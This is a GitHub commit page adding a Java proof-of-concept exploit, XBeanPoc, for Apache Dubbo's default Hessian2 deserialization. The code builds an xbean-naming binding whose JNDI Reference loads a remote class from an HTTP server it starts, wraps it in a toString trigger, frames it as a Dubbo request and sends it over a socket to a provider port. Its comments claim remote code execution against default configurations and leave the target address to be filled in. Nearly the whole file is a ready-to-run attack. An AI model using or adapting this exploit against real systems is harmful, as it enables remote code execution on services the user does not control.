Skip to content

Commit 4320345

Browse files
author
threedr3am
committed
feat:增加dubbo-hessian2 exp
1 parent c97f292 commit 4320345

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
package com.threedr3am.bug.dubbo;
2+
3+
import com.threedr3am.bug.server.HTTPServer;
4+
import com.threedr3am.bug.utils.Reflections;
5+
import com.threedr3am.bug.utils.ToStringUtil;
6+
import java.io.ByteArrayOutputStream;
7+
import java.io.OutputStream;
8+
import java.net.Socket;
9+
import java.util.Random;
10+
import javax.naming.Context;
11+
import javax.naming.Reference;
12+
import org.apache.dubbo.common.io.Bytes;
13+
import org.apache.dubbo.common.serialize.Cleanable;
14+
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
15+
import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding;
16+
import org.apache.xbean.naming.context.WritableContext;
17+
18+
/**
19+
* dubbo 默认配置,即hessian2反序列化,都可RCE
20+
*
21+
* Spring环境可打,暂时测试Spring-boot打不了
22+
*
23+
* <dependency>
24+
* <groupId>org.apache.xbean</groupId>
25+
* <artifactId>xbean-naming</artifactId>
26+
* <version>4.15</version>
27+
* </dependency>
28+
*
29+
* @author threedr3am
30+
*/
31+
public class XBeanPoc {
32+
33+
static {
34+
HTTPServer.run(null);
35+
}
36+
37+
public static void main(String[] args) throws Exception {
38+
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
39+
Reference ref = new Reference("Calc", "Calc","http://127.0.0.1:8080/");
40+
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
41+
42+
Object s = ToStringUtil.makeToStringTrigger(binding);
43+
44+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
45+
46+
// header.
47+
byte[] header = new byte[16];
48+
// set magic number.
49+
Bytes.short2bytes((short) 0xdabb, header);
50+
// set request and serialization flag.
51+
header[2] = (byte) ((byte) 0x20 | 2);
52+
53+
// set request id.
54+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
55+
56+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
57+
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
58+
59+
out.writeObject(s);
60+
61+
out.flushBuffer();
62+
if (out instanceof Cleanable) {
63+
((Cleanable) out).cleanup();
64+
}
65+
66+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
67+
byteArrayOutputStream.write(header);
68+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
69+
70+
byte[] bytes = byteArrayOutputStream.toByteArray();
71+
72+
//todo 此处填写被攻击的dubbo服务提供者地址和端口
73+
Socket socket = new Socket("127.0.0.1", 20880);
74+
OutputStream outputStream = socket.getOutputStream();
75+
outputStream.write(bytes);
76+
outputStream.flush();
77+
outputStream.close();
78+
}
79+
}

0 commit comments

Comments
 (0)